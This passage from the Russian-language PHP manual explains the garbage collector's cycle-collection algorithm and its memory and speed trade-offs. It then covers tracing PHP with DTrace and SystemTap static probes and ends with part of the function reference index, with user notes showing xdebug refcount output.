Эта не проблема, если такое случается раз или два, но если существуют тысячи или даже миллионы таких утечек памяти, то они уже становятся проблемой. Особенно в долгоработающих скриптах, таких как демоны, где запрос не заканчивается никогда, или в больших наборах модульных тестов. Последний случай вызвал проблемы при запуске модульных тестов для компонента Template из библиотеки ez Components. В некоторых случаях может потребоваться свыше 2 Гб памяти, которая не всегда есть на тестовом сервере.

User Contributed Notes

skymei at skymei dot cn 27-Dec-2019 06:50
$a = 'new string';
$b = 1;
xdebug_debug_zval('a');
xdebug_debug_zval('b');

ouputs with PHP 7.3.12 (cli)

a: (interned, is_ref=0)='new string'
b: (refcount=0, is_ref=0)=1
chxt2011 at 163 dot com 15-Apr-2019 03:44
my php version is PHP 7.1.6 (cli), when I run

$a = 'new string';
$b = 1;
xdebug_debug_zval('a');
xdebug_debug_zval('b');

it shows:
a: (refcount=0, is_ref=0)='new string'
b: (refcount=0, is_ref=0)=1
yuri1308960477 at gmail dot com 11-Feb-2019 07:35
my php versoin : HP 7.1.25 (cli) (built: Dec  7 2018 08:20:45) ( NTS )

$a = 'new string';
$b = 1;
xdebug_debug_zval('a');
xdebug_debug_zval('b');

output:

a: (refcount=2, is_ref=0)='new string'
b: (refcount=0, is_ref=0)=1

if $a is a string value, 'refcount' equal 2 by defalut.
shkarbatov at gmail dot com 18-Jan-2018 11:05
Result of "Example #8 Adding the array itself as an element of it self" will be another for PHP7:

a: (refcount=2, is_ref=1)=array (
    0 => (refcount=2, is_ref=0)='one',
    1 => (refcount=2, is_ref=1)=...
)

insted of:
a: (refcount=2, is_ref=1)=array (
   0 => (refcount=1, is_ref=0)='one',
   1 => (refcount=2, is_ref=1)=...
)

Internal value representation in PHP 7:
https://nikic.github.io/2015/05/05/Internal-value-representation-in-PHP-7-part-1.html
Anonymous 08-Dec-2014 02:49
There seems to be no way to inspect the reference count of a specific class variable but you can view the reference count of all variables in the current class instance with xdebug_debug_zval('this');
Anonymous 08-Dec-2014 02:15
If a variable is not present in the current scope xdebug_debug_zval?will return null.


Сбор циклических ссылок

Обычно механизмы подсчёта ссылок в памяти, например, используемый в PHP ранее, не решают проблему утечки памяти из-за циклических ссылок. Начиная с версии 5.3.0, в PHP реализован синхронный механизм из исследования "» Concurrent Cycle Collection in Reference Counted Systems", в котором рассматривается этот вопрос.

Полное описание работы алгоритма выходит за рамки данного раздела, поэтому приведены только основы. Прежде всего мы должны задать несколько основных правил. Если счётчик ссылок увеличивается, то контейнер всё ещё используется и не является мусором. Если счётчик уменьшается до нуля, то zval может быть удалён. Исходя из этих правил утечки памяти с циклическими ссылками могут получиться только при уменьшении счётчика ссылок до ненулевого значения. Затем, в выделенных контейнерах можно найти мусор проверив возможность уменьшения всех счётчиков ссылок на единицу и определив те контейнеры, у которых счётчик станет равным нулю.

Алгоритм сборки мусора

Для избежания постоянной проверки на мусор с циклическими ссылками при каждом уменьшении счётчика ссылок, алгоритм добавляет все возможные корни (zval контейнеры) в "корневой буфер" (помечая их как "фиолетовые"). Это также гарантирует попадание любого корня в буфер только один раз. Механизм сборки мусора стартует только тогда, когда наполняется буфер (смотрите шаг A на рисунке выше).

На шаге B алгоритм производит поиск в глубину по всем возможным корням для однократного уменьшения счётчика ссылок на единицу у всех контейнеров (помечая их как "серые"). На шаге C алгоритм снова производит поиск в глубину для проверки счётчиков ссылок. Если он находит счётчик с нулевым значением, то контейнер помечается как "белый" (на рисунке отображено синим). Если же счётчик больше нуля, то происходит поиск в глубину от этого контейнера с обратным увеличением счётчиков на единицу и повторной пометкой как "чёрный" на их контейнерах. На последнем шаге D алгоритм проходит по корневому буферу и удаляет из него корни контейнеров, заодно проверяя какие контейнеры помечены как "белые". Эти контейнеры будут освобождены из памяти.

Теперь, когда вы имеете представление о работе алгоритма, рассмотрим его интеграцию в PHP. По умолчанию сборщик мусора всегда включён. Для изменения этой опции используется параметр zend.enable_gc в php.ini.

Если сборщик мусора включён, алгоритм поиска циклических ссылок выполняется каждый раз, когда корневой буфер наполняется 10,000 корнями (вы можете поменять это значение, изменив константу GC_THRESHOLD_DEFAULT в файле Zend/zend_gc.c в исходном коде PHP и пересобрав PHP). Если сборщик мусора выключен, алгоритм никогда не будет запущен. Тем не менее, буфер всегда заполняется корнями.

Если буфер заполнился при выключенном механизме сборки мусора, то другие корни не будут в него записаны. Таким образом, если они окажутся мусором с циклическими ссылками, то никогда не будут очищены и создадут утечку памяти.

Причиной постоянной записи корней в буфер даже при выключенном механизме сборки мусора является то, что это намного быстрее, чем постоянно проверять включён ли механизм сборки мусора или нет. Однако, сама сборка мусора и алгоритм её анализа могут занимать значительное время.

Помимо изменения параметра zend.enable_gc, механизм сборки мусора также можно запустить и остановить вызвав функции gc_enable() и gc_disable() соответственно. Вызов этих функций имеет тот же эффект, что и включение/выключение механизма с помощью настроек конфигурации. Кроме того, можно запустить сборку мусора, даже если корневой буфер ещё не заполнен. Для этого вы можете вызвать функцию gc_collect_cycles(), которая также возвращает количество циклических ссылок собранных алгоритмом.

Причиной включения и выключения механизма сборки, а также его ручного запуска, может стать то, что некоторые части вашего приложения могут быть требовательными ко времени. В этих случаях вы, возможно, не захотите постороннего вмешательства сборщика мусора. Разумеется, выключая сборщик мусора в определённых местах вашего приложения вы рискуете получить утечку памяти, т. к. потенциально некоторые корни могут не поместиться в ограниченный корневой буфер. Более целесообразно будет вызвать gc_collect_cycles() непосредственно перед вызовом gc_disable() для освобождения памяти и уже записанных корней в буфере. Это очистит буфер и позволит использовать больше места для хранения корней, пока механизм будет выключен.

User Contributed Notes

Dallas 25-Mar-2018 09:46
After testing, breaking up memory intensive code into a separate function allows the garbage collection to work.

For example the original code was like:-
while(true){
   //do memory intensive code
}

can be turned into something like:-
function intensive($parameters){
   //do memory intensive code
}

while(true){
   intensive($parameters);
}
Yousha dot A at Hotmail dot com 04-Sep-2016 01:01
-- Unused Objects --- - In use Objects
v                    v               v
 _____________________________________
 |?????????????????|--¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦|
 |?????????????????|--¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦|
?????????????????????????????????????
          ^                  ^
     Unreferenced        Referenced
       Objects             Objects

- Memory leak
Yousha dot A at Hotmail dot com 24-Apr-2015 07:47
Memory leak: meaning you keep a reference to it thus preventing the GC from collecting it.


Вопросы производительности

В предыдущем разделе нами уже говорилось, что простой сбор корней меньше влияет на производительность. Хотя запись корней в буфер по сравнению с полным отсутствием таковой в PHP 5.2 работает медленней, другие изменения в работе PHP 5.3 сделали эту потерю производительности незаметной.

Есть две основные области влияющие на производительность: уменьшение размера используемой памяти и замедление работы при сборке мусора. Рассмотрим их.

Уменьшение размера используемой памяти

Прежде всего, основной причиной реализации механизма сборки мусора является уменьшение размера используемой памяти с помощью чистки циклических ссылок, которая происходит при достижении соответствующих условий. В реализации PHP это происходит как только заполнится корневой буфер или при вызове функции gc_collect_cycles(). На графике ниже приведено использование памяти скрипта, запущенного в PHP 5.2 и PHP 5.3, без учёта памяти, используемой самим PHP при запуске.

Пример #1 Пример использования памяти

<?php
class Foo
{
public $var = '3.14159265359';
public $self;
}

$baseMemory = memory_get_usage();

for ( $i = 0; $i <= 100000; $i++ )
{
$a = new Foo;
$a->self = $a;
if ( $i % 500 === 0 )
{
echo sprintf( '%8d: ', $i ), memory_get_usage() - $baseMemory, "\n";
}
}
?>
Сравнение использования памяти в PHP 5.2 и PHP 5.3

В этом очень академическом примере мы создаём объект, свойство a которого задаётся ссылкой на сам объект. Когда в скрипте в следующей итерации цикла переопределяется переменная $a, то происходит типичная утечка памяти. В данном случае пропадают два контейнера zval (контейнер объекта и контейнер свойства объекта), но определяется только один корень - удалённая переменная. Как только пройдут 10 000 итераций (максимально в корневом буфере будет 10 000 корней), то запустится механизм сборки мусора и память, занимаемая этими корнями, будет освобождена. Этот процесс хорошо виден на графике использования памяти для PHP 5.3: после каждых 10 000 итераций график проседает. Сам по себе механизм в данном примере совершает не так много работы, потому что структура утечек слишком проста. Из графика видно, что максимальное использование памяти в PHP 5.3 составило около 9 Мб, тогда как в PHP 5.2 оно продолжает возрастать.

Замедление работы

Второй областью, где сборка мусора влияет на производительность, является потеря времени, когда сборщик мусора освобождает память. Чтобы понять степень этого влияния, мы немного изменим предыдущий скрипт, добавив большее число итераций и промежуточных переменных. Изменённый скрипт:

Пример #2 Влияние на производительность

<?php
class Foo
{
public $var = '3.14159265359';
public $self;
}

for ( $i = 0; $i <= 1000000; $i++ )
{
$a = new Foo;
$a->self = $a;
}

echo memory_get_peak_usage(), "\n";
?>

Мы запустим скрипт два раза: с включённой опцией zend.enable_gc и без неё.

Пример #3 Запуск скрипта

time php -dzend.enable_gc=0 -dmemory_limit=-1 -n example2.php
# и
time php -dzend.enable_gc=1 -dmemory_limit=-1 -n example2.php

На тестовой машине первая команда примерно выполняется 10.7 секунд, а вторая примерно 11.4 секунды. Это примерно на 7% медленнее. Однако, максимальное использование памяти скриптом уменьшилось на 98% с 931 Мб до 10 Мб. Этот тест не очень научный, но он действительно демонстрирует преимущество по использованию памяти, обеспечиваемое сборщиком мусора. Также хорошо то, что замедление для этого скрипта всегда примерно 7%, тогда как экономия памяти увеличивается все больше и больше при нахождении нового мусора.

Внутренняя статистика сборщика мусора

Можно получить немного больше информации о том, как механизм сборки мусора выполняется в PHP. Но для этого вам необходимо пересобрать PHP для включения теста производительности и кода для дополнительного сбора данных. Необходимо установить переменную окружения CFLAGS в значение -DGC_BENCH=1 до выполнения команды ./configure с вашими параметрами. Следующие команды должны сработать:

Пример #4 Сборка PHP для включения теста производительности GC

export CFLAGS=-DGC_BENCH=1
./config.nice
make clean
make

При запуске вышеприведённого примера с обновлённым PHP, можно увидеть следующую информацию по завершении работы скрипта:

Пример #5 Статистика GC

GC Statistics
-------------
Runs:               110
Collected:          2072204
Root buffer length: 0
Root buffer peak:   10000

      Possible            Remove from  Marked
        Root    Buffered     buffer     grey
      --------  --------  -----------  ------
ZVAL   7175487   1491291    1241690   3611871
ZOBJ  28506264   1527980     677581   1025731

Наиболее полезная статистика отображена в первом блоке. Можно увидеть, что механизм сборки мусора был запущен 110 раз, и суммарно было освобождено свыше 2 миллионов записей в памяти. Если сборка мусора была запущена хотя бы раз, то максимальное число корней в буфере всегда будет равно 10 000.

Заключение

В целом, сборщик мусора в PHP вызовет ощутимые замедления только во время непосредственной работы механизма сборки циклических ссылок, тогда как в обычных (небольших) скриптах не должно быть никакого падения производительности.

Однако в тех случаях, когда механизм сборки должен срабатывать и в обычных скриптах, снижение используемой памяти позволяет одновременно работать на сервере большему их количеству.

Преимущества наиболее очевидны для долгоработающих скриптов, таких как большие наборы тестов или демоны. Новый механизм также должен снизить утечки памяти для приложений » PHP-GTK, которые выполняются обычно дольше, чем веб-скрипты.

User Contributed Notes

Dmitry dot Balabka at gmail dot com 09-May-2018 11:13
There is a possibility to get GC performance stats without PHP recompilation. Starting from Xdebug version 2.6 you are able to enable stats collection into the file (default dir /tmp with name gcstats.%p):

php -dxdebug.gc_stats_enable=1 your_script.php
Talisman 04-Dec-2015 08:25
The GC, unfortunately, as expounded in the examples above, has the tendency to promote lazy programming.
Clearly the benefits of the GC to assist in memory management are there, and help to maintain a stable system, but it is no excuse to not plan and test your code properly.
Always re-read your code critically and objectively to ensure that you are not introducing memory leaks unintentionally.


Динамическая трассировка DTrace

Содержание

  • Введение в PHP и DTrace
  • Использование PHP и DTrace
  • Использование SystemTap со статическими зондами PHP DTrace

User Contributed Notes

There are no user contributed notes for this page.


Введение в PHP и DTrace

DTrace - это всегда доступный, практически не потребляющий ресурсов фреймворк трассировки. Он доступен на множестве платформ, включая Solaris, macOS, Oracle Linux и BSD. DTrace может отслеживать поведение операционной системы и запущенных пользовательских приложений. Он может показывать значения параметров и используется для вывода статистики производительности. Зонды отслеживаются пользовательскими скриптами, написанными на скриптовом языке DTrace D. Это позволяет эффективно анализировать срезы данных.

Зонды PHP, которые не отслеживаются пользовательскими DTrace D скриптами, не содержат никакого дополнительного кода и, следовательно, во время нормальной работы приложения, никакой деградации производительности не происходит. Отслеживаемые зонды, в свою очередь, дают очень низкую просадку производительности, что позволяет использовать их в промышленных средах.

PHP включает в себя зонды "Статически определённой трассировки уровня пользователя" (User-level Statically Defined Tracing, или USDT), которые работают во время исполнения. К примеру, когда D-скрипт отслеживает зонд function-entry, то каждый раз при вызове функции, этот зонд запускает соответствующее действие D-скрипта. Это действие, например, печатает аргументы зонда, такие как расположение этой функции в PHP-скрипте. Или же это может быть агрегация данных, таких как количество запусков каждой из функции.

Здесь описываются только зонды PHP USDT. Для получения информации о том, как следить за произвольными функциями и отслеживать поведение операционной системы, читайте соответствующую литературу, специфичную для каждой операционной системы и внешнюю полноценную документацию DTrace. Обратите внимание, что различные реализации DTrace могут отличаться набором доступного функционала.

Статические зонды DTrace в PHP, также могут быть использованы с SystemTap в некоторых дистрибутивах Linux.

User Contributed Notes

There are no user contributed notes for this page.


Использование PHP и DTrace

PHP может быть сконфигурирован со статическими зондами DTrace на платформах поддерживающих динамическую трассировку DTrace.

Конфигурирование PHP со статическими зондами DTrace

Обратитесь к документации вашей платформы, чтобы включить поддержку DTrace в вашей операционной системе. К примеру, в Oracle Linux необходимо загрузить ядро UEK3 и сделать следующее:

# modprobe fasttrap
# chmod 666 /dev/dtrace/helper

Вместо chmod, вы можете использовать пакет правил ACL для ограничения доступа для конкретного пользователя.

Сборка PHP с ключом --enable-dtrace:

# ./configure --enable-dtrace ...
# make
# make install

Это включит статические зонды в ядре PHP. Любой модуль PHP, предоставляющий собственные зонды, должен быть собран отдельно как разделяемый модуль.

Статические зонды DTrace в ядре PHP

Следующие статические зонды доступны в PHP
Имя зонда | Описание зонда | Аргументы зонда
request-startup | Срабатывает при начале запроса. | char *file, char *request_uri, char *request_method
request-shutdown | Срабатывает при окончании запроса. | char *file, char *request_uri, char *request_method
compile-file-entry | Срабатывает, когда начинается компиляция скрипта. | char *compile_file, char *compile_file_translated
compile-file-return | Срабатывает, когда заканчивается компиляция скрипта. | char *compile_file, char *compile_file_translated
execute-entry | Срабатывает, когда запускается массив байт-кода. К примеру, когда вызываются функции, возобновляется работа генератора или происходит include. | char *request_file, int lineno
execute-return | Срабатывает, после отработки массива байт-кода. | char *request_file, int lineno
function-entry | Срабатывает, когда движок PHP начинает запуск функции или метода. | char *function_name, char *request_file, int lineno, char *classname, char *scope
function-return | Срабатывает, когда движок PHP возвращается из функции или метода. | char *function_name, char *request_file, int lineno, char *classname, char *scope
exception-thrown | Срабатывает, когда выброшено исключение. | char *classname
exception-caught | Срабатывает, когда исключение поймано. | char *classname
error | Срабатывает если произошла ошибка, вне зависимости от уровня error_reporting. | char *errormsg, char *request_file, int lineno

Модули PHP могут содержать дополнительные зонды.

Список статических зондов DTrace в PHP

Для получения списка зондов, запустите процесс PHP и выполните:

# dtrace -l

Вывод будет примерно такой:

   ID   PROVIDER            MODULE                          FUNCTION NAME
   [ . . . ]
    4   php15271               php               dtrace_compile_file compile-file-entry
    5   php15271               php               dtrace_compile_file compile-file-return
    6   php15271               php                        zend_error error
    7   php15271               php  ZEND_CATCH_SPEC_CONST_CV_HANDLER exception-caught
    8   php15271               php     zend_throw_exception_internal exception-thrown
    9   php15271               php                 dtrace_execute_ex execute-entry
   10   php15271               php           dtrace_execute_internal execute-entry
   11   php15271               php                 dtrace_execute_ex execute-return
   12   php15271               php           dtrace_execute_internal execute-return
   13   php15271               php                 dtrace_execute_ex function-entry
   14   php15271               php                 dtrace_execute_ex function-return
   15   php15271               php              php_request_shutdown request-shutdown
   16   php15271               php               php_request_startup request-startup

Колонка Provider содержит надпись php и pid текущего запущенного процесса PHP.

Если запущен веб-сервер Apache, имя модуля может быть, например, libphp5.so, и может быть множество блоков списка, по одному на каждый процесс Apache.

Колонка Function ссылается на имя внутренней С-функции PHP, реализующей соответствующий зонд.

Если PHP не запущен, то связанных с ним зондов в списке не будет.

Примеры использования DTrace с PHP

Этот пример показывает базовые возможности скриптового языка DTrace D.

Пример #1 all_probes.d - трассировка всех статических зондов PHP с помощью DTrace

#!/usr/sbin/dtrace -Zs

#pragma D option quiet

php*:::compile-file-entry
{
    printf("PHP compile-file-entry\n");
    printf("  compile_file              %s\n", copyinstr(arg0));
    printf("  compile_file_translated   %s\n", copyinstr(arg1));
}

php*:::compile-file-return
{
    printf("PHP compile-file-return\n");
    printf("  compile_file              %s\n", copyinstr(arg0));
    printf("  compile_file_translated   %s\n", copyinstr(arg1));
}

php*:::error
{
    printf("PHP error\n");
    printf("  errormsg                  %s\n", copyinstr(arg0));
    printf("  request_file              %s\n", copyinstr(arg1));
    printf("  lineno                    %d\n", (int)arg2);
}

php*:::exception-caught
{
    printf("PHP exception-caught\n");
    printf("  classname                 %s\n", copyinstr(arg0));
}

php*:::exception-thrown
{
    printf("PHP exception-thrown\n");
    printf("  classname                 %s\n", copyinstr(arg0));
}

php*:::execute-entry
{
    printf("PHP execute-entry\n");
    printf("  request_file              %s\n", copyinstr(arg0));
    printf("  lineno                    %d\n", (int)arg1);
}

php*:::execute-return
{
    printf("PHP execute-return\n");
    printf("  request_file              %s\n", copyinstr(arg0));
    printf("  lineno                    %d\n", (int)arg1);
}

php*:::function-entry
{
    printf("PHP function-entry\n");
    printf("  function_name             %s\n", copyinstr(arg0));
    printf("  request_file              %s\n", copyinstr(arg1));
    printf("  lineno                    %d\n", (int)arg2);
    printf("  classname                 %s\n", copyinstr(arg3));
    printf("  scope                     %s\n", copyinstr(arg4));
}

php*:::function-return
{
    printf("PHP function-return\n");
    printf("  function_name             %s\n", copyinstr(arg0));
    printf("  request_file              %s\n", copyinstr(arg1));
    printf("  lineno                    %d\n", (int)arg2);
    printf("  classname                 %s\n", copyinstr(arg3));
    printf("  scope                     %s\n", copyinstr(arg4));
}

php*:::request-shutdown
{
    printf("PHP request-shutdown\n");
    printf("  file                      %s\n", copyinstr(arg0));
    printf("  request_uri               %s\n", copyinstr(arg1));
    printf("  request_method            %s\n", copyinstr(arg2));
}

php*:::request-startup
{
    printf("PHP request-startup\n");
    printf("  file                      %s\n", copyinstr(arg0));
    printf("  request_uri               %s\n", copyinstr(arg1));
    printf("  request_method            %s\n", copyinstr(arg2));
}

Этот скрипт использует опцию -Z для dtrace, позволяя ему работать даже если ни одного процесса PHP не запущено. Если не использовать эту опцию, то скрипт сразу же завершит выполнения, поскольку не увидит ни одного зонда, который ему надо отслеживать.

Скрипт отслеживает все статические зонды PHP на всем протяжении работы PHP-скрипта. Запускаем D-скрипт:

# ./all_probes.d

Запустите скрипт или приложение PHP. Отслеживающий D-скрипт будет выводить аргументы всех сработавших зондов.

Когда вы увидели все, что хотели, прервать работу скрипта можно комбинацией CTRL+C.

На многопроцессорных машинах, порядок зондов может быть не последовательным, в зависимости от того, на каких процессорах работают зонды и как мигрируют потоки между процессорами. Отображение временных меток позволит избежать конфузов. К примеру:

php*:::function-entry
{
      printf("%lld: PHP function-entry ", walltimestamp);
      [ . . .]
}

Смотрите также

  • OCI8 и динамическая трассировка DTrace

User Contributed Notes

There are no user contributed notes for this page.


Использование SystemTap со статическими зондами PHP DTrace

В некоторых дистрибутивах Linux, можно использовать утилиту трассировки SystemTap для отслеживания статических зондов DTrace. Данный вариант доступен в PHP 5.4.20 и PHP 5.5.

Установка PHP с SystemTap

Установите разработческий пакет SystemTap SDT:

# yum install systemtap-sdt-devel

Установите PHP с DTrace:

# ./configure --enable-dtrace ...
# make

Получение списка статических зондов с помощью SystemTap

Статические зонды PHP можно посмотреть используя stap:

# stap -l 'process.provider("php").mark("*")' -c 'sapi/cli/php -i'

Примерный вывод:

process("sapi/cli/php").provider("php").mark("compile__file__entry")
process("sapi/cli/php").provider("php").mark("compile__file__return")
process("sapi/cli/php").provider("php").mark("error")
process("sapi/cli/php").provider("php").mark("exception__caught")
process("sapi/cli/php").provider("php").mark("exception__thrown")
process("sapi/cli/php").provider("php").mark("execute__entry")
process("sapi/cli/php").provider("php").mark("execute__return")
process("sapi/cli/php").provider("php").mark("function__entry")
process("sapi/cli/php").provider("php").mark("function__return")
process("sapi/cli/php").provider("php").mark("request__shutdown")
process("sapi/cli/php").provider("php").mark("request__startup")

Пример использования SystemTap с PHP

Пример #1 all_probes.stp - трассировка всех статических зондов PHP

probe process("sapi/cli/php").provider("php").mark("compile__file__entry") {
    printf("Probe compile__file__entry\n");
    printf("  compile_file %s\n", user_string($arg1));
    printf("  compile_file_translated %s\n", user_string($arg2));
}
probe process("sapi/cli/php").provider("php").mark("compile__file__return") {
    printf("Probe compile__file__return\n");
    printf("  compile_file %s\n", user_string($arg1));
    printf("  compile_file_translated %s\n", user_string($arg2));
}
probe process("sapi/cli/php").provider("php").mark("error") {
    printf("Probe error\n");
    printf("  errormsg %s\n", user_string($arg1));
    printf("  request_file %s\n", user_string($arg2));
    printf("  lineno %d\n", $arg3);
}
probe process("sapi/cli/php").provider("php").mark("exception__caught") {
    printf("Probe exception__caught\n");
    printf("  classname %s\n", user_string($arg1));
}
probe process("sapi/cli/php").provider("php").mark("exception__thrown") {
    printf("Probe exception__thrown\n");
    printf("  classname %s\n", user_string($arg1));
}
probe process("sapi/cli/php").provider("php").mark("execute__entry") {
    printf("Probe execute__entry\n");
    printf("  request_file %s\n", user_string($arg1));
    printf("  lineno %d\n", $arg2);
}
probe process("sapi/cli/php").provider("php").mark("execute__return") {
    printf("Probe execute__return\n");
    printf("  request_file %s\n", user_string($arg1));
    printf("  lineno %d\n", $arg2);
}
probe process("sapi/cli/php").provider("php").mark("function__entry") {
    printf("Probe function__entry\n");
    printf("  function_name %s\n", user_string($arg1));
    printf("  request_file %s\n", user_string($arg2));
    printf("  lineno %d\n", $arg3);
    printf("  classname %s\n", user_string($arg4));
    printf("  scope %s\n", user_string($arg5));
}
probe process("sapi/cli/php").provider("php").mark("function__return") {
    printf("Probe function__return: %s\n", user_string($arg1));
    printf(" function_name %s\n", user_string($arg1));
    printf("  request_file %s\n", user_string($arg2));
    printf("  lineno %d\n", $arg3);
    printf("  classname %s\n", user_string($arg4));
    printf("  scope %s\n", user_string($arg5));
}
probe process("sapi/cli/php").provider("php").mark("request__shutdown") {
    printf("Probe request__shutdown\n");
    printf("  file %s\n", user_string($arg1));
    printf("  request_uri %s\n", user_string($arg2));
    printf("  request_method %s\n", user_string($arg3));
}
probe process("sapi/cli/php").provider("php").mark("request__startup") {
    printf("Probe request__startup\n");
    printf("  file %s\n", user_string($arg1));
    printf("  request_uri %s\n", user_string($arg2));
    printf("  request_method %s\n", user_string($arg3));
}

Приведённый выше скрипт будет выводить данные статических зондов PHP на всем протяжении работы PHP-скрипта:

# stap -c 'sapi/cli/php test.php' all_probes.stp

User Contributed Notes

idealities at gmail dot com 12-Oct-2018 08:02
# stap -l 'process.provider("php").mark("*")' -c 'sapi/cli/php -i'

This can also be archived by:

stap -l 'process("sapi/cli/php").mark("*")'

And, no need to be root to run this command.


Справочник функций

Подсказка

Смотрите также Список/классификация модулей.

  • Изменение поведения PHP
    • APCu — Пользовательский кеш APC
    • Componere
    • Обработка ошибок — Обработка и логирование ошибок
    • FFI — Интерфейс внешней функции (Foreign Function Interface)
    • OPcache
    • Контроль вывода — Управление буфером вывода
    • Опции/информация PHP — Опции и информация PHP
    • phpdbg — Интерактивный отладчик PHP
    • runkit7
    • uopz — User Operations для Zend
    • WinCache — Windows Cache для PHP
    • Xhprof — Hierarchical Profiler
    • Yac
  • Обработка аудио форматов
    • OpenAL — Аудиопотоки OpenAL
  • Службы аутентификации
    • Radius
  • Модули для работы с командной строкой
    • Readline — GNU Readline
  • Модули для сжатия и архивации
    • Bzip2
    • LZF
    • Phar
    • Rar — Архивирование Rar
    • Zip
    • Zlib
  • Криптографические модули
    • Hash — Фреймворк хеш-кодов HASH
    • Mcrypt
    • Mhash
    • OpenSSL
    • Хеширование паролей
    • Rnp
    • Sodium
  • Модули для работы с базами данных
    • Уровни абстракции
    • Модули для работы с базами данных отдельных производителей
  • Модули для работы с датой и временем
    • Календарь
    • Дата/время — Дата и время
    • HRTime — Время высокого разрешения
  • Модули для работы с файловой системой
    • Прямой ввод/вывод (Direct IO)
    • Каталоги
    • FileInfo — Информация о файле
    • Файловая система
    • Inotify
    • xattr
    • xdiff
  • Поддержка языков и кодировок
    • Enchant — Библиотека проверки правописания Enchant
    • Gender — Определение пола по имени
    • Gettext
    • iconv
    • intl — Функции интернационализации
    • Многобайтовые строки
    • Pspell
    • Recode — GNU Recode
  • Обработка и генерация изображений
    • Exif — Изменяемая информация об изображении
    • GD — Обработка изображений и GD
    • Gmagick
    • ImageMagick — Обработка изображений (ImageMagick)
  • Модули для работы с почтой
    • IMAP — IMAP, POP3 и NNTP
    • Mail
    • Mailparse
  • Математические модули
    • BC Math — Вычисления над числами с произвольной точностью BCMath
    • GMP — Вычисления над целыми числами с произвольной точностью (GNU Multiple Precision)
    • Math — Математические функции
    • Статистика
    • Trader — Технический анализ для трейдеров
  • Генерация нетекстовых MIME-форматов
    • FDF — Формат данных форм
    • GnuPG — GNU Privacy Guard
    • wkhtmltox
    • PS — Создание документов PostScript
    • RpmInfo
    • XLSWriter
  • Модули для управления процессами программ
    • Eio
    • Ev
    • Expect
    • PCNTL — Управление процессами
    • POSIX
    • Запуск программы — Запуск программ в системе
    • parallel
    • pthreads
    • Семафоры — Семафоры, разделяемая память и IPC
    • Управление разделяемой памятью
    • Sync
  • Другие базовые модули
    • GeoIP — Geo IP Location
    • FANN — Быстрая искусственная нейронная сеть (Fast Artificial Neural Network или FANN)
    • Igbinary
    • JSON — JavaScript Object Notation
    • Simdjson
    • Lua
    • LuaSandbox
    • Misc. — Разные функции
    • Random — Генераторы случайных чисел и функции, связанные со случайностью
    • Seaslog
    • SPL — Стандартная библиотека PHP (SPL)
    • Потоки
    • Swoole
    • Tidy
    • Лексер (Tokenizer)
    • URL
    • V8js — Интеграция V8 Javascript Engine
    • Yaml — Сериализация данных YAML
    • Yaf — Yet Another Framework
    • Yaconf
    • Taint
    • Структуры данных
    • var_representation
  • Другие службы
    • cURL — Клиентская библиотека работы с URL
    • Event
    • FTP
    • Gearman
    • LDAP — Облегчённый протокол доступа к каталогам (LDAP)
    • Memcache
    • Memcached
    • mqseries
    • Сеть
    • RRD — RRDtool
    • ScoutAPM
    • SNMP
    • Сокеты
    • SSH2 — Secure Shell2
    • Stomp — Stomp Client
    • SVM — Support Vector Machine (Вспомогательная векторная машина)
    • SVN — Subversion
    • TCP — Обёртки TCP
    • Varnish
    • YAZ
    • Обмен сообщениями 0MQ — ZMQ
    • ZooKeeper
  • Модули для работы с поисковыми системами
    • Solr — Apache Solr
  • Модули для работы с серверами
    • Apache
    • Менеджер процессов FastCGI
  • Модули для работы с сессиями
    • Сессии — Управление сессиями
  • Обработка текста
    • CommonMark
    • Parle — Разбор и лексирование
    • PCRE — Функции для работы с регулярными выражениями (Perl-совместимые)
    • ssdeep — Нечёткое хеширование ssdeep
    • Строки
  • Модули, относящиеся к переменным и типам
    • Массивы
    • Классы и объекты — Информация о классе и объекте
    • Ctype — Функции определения типа символов
    • Filter — Фильтрация данных
    • Управление функциями
    • Quickhash
    • Reflection
    • Обработка переменных
  • Веб-сервисы
    • OAuth
    • SOAP
    • Yar — Ещё один RPC-фреймворк
    • XML-RPC
  • Модули только для Windows
    • COM — COM и .Net (Windows)
    • win32service
  • Обработка XML
    • DOM — Document Object Model
    • libxml
    • SimpleXML
    • WDDX
    • XMLDiff — Сравнение и объединение XML
    • Разбор XML
    • XMLReader
    • XMLWriter
    • XSL
  • Модули для работы с GUI
    • UI

User Contributed Notes

There are no user contributed notes for this page.


Изменение поведения PHP

  • APCu — Пользовательский кеш APC
    • Введение
    • Установка и настройка
    • Предопределённые константы
    • Функции APCu
    • APCUIterator — Класс APCUIterator
  • Componere
    • Введение
    • Установка и настройка
    • Componere\Abstract\Definition — Класс Componere\Abstract\Definition
    • Componere\Definition — Класс Componere\Definition
    • Componere\Patch — Класс Componere\Patch
    • Componere\Method — Класс Componere\Method
    • Componere\Value — Класс Componere\Value
    • Функции Componere
  • Обработка ошибок — Обработка и логирование ошибок
    • Введение
    • Установка и настройка
    • Предопределённые константы
    • Примеры
    • Функции обработки ошибок
  • FFI — Интерфейс внешней функции (Foreign Function Interface)
    • Введение
    • Установка и настройка
    • Предопределённые константы
    • Примеры
    • FFI — Основной интерфейс к коду и данным C
    • FFI\CData — Доступ к данным C
    • FFI\CType — Доступ к типам C
    • FFI\Exception — Исключения FFI
    • FFI\ParserException — Исключения парсера FFI
  • OPcache
    • Введение
    • Установка и настройка
    • Preloading
    • Функции OPcache
  • Контроль вывода — Управление буфером вывода
    • Введение
    • Установка и настройка
    • Предопределённые константы
    • Примеры
    • Функции контроля вывода
  • Опции/информация PHP — Опции и информация PHP
    • Введение
    • Установка и настройка
    • Предопределённые константы
    • Опции PHP/информационные функции
  • phpdbg — Интерактивный отладчик PHP
    • Введение
    • Установка и настройка
    • Предопределённые константы
    • Функции phpdbg
  • runkit7
    • Введение
    • Установка и настройка
    • Предопределённые константы
    • Функции runkit7
  • uopz — User Operations для Zend
    • Введение
    • Установка и настройка
    • Предопределённые константы
    • Функции Uopz
  • WinCache — Windows Cache для PHP
    • Введение
    • Установка и настройка
    • Предопределённые константы
    • Функции WinCache
    • Сборка для Windows
  • Xhprof — Hierarchical Profiler
    • Введение
    • Установка и настройка
    • Предопределённые константы
    • Примеры
    • Функции Xhprof
  • Yac
    • Введение
    • Установка и настройка
    • Предопределённые константы
    • Yac — Класс Yac

User Contributed Notes

There are no user contributed notes for this page.


Пользовательский кеш APC

  • Введение
  • Установка и настройка
    • Требования
    • Установка
    • Настройка во время выполнения
    • Типы ресурсов
  • Предопределённые константы
  • Функции APCu
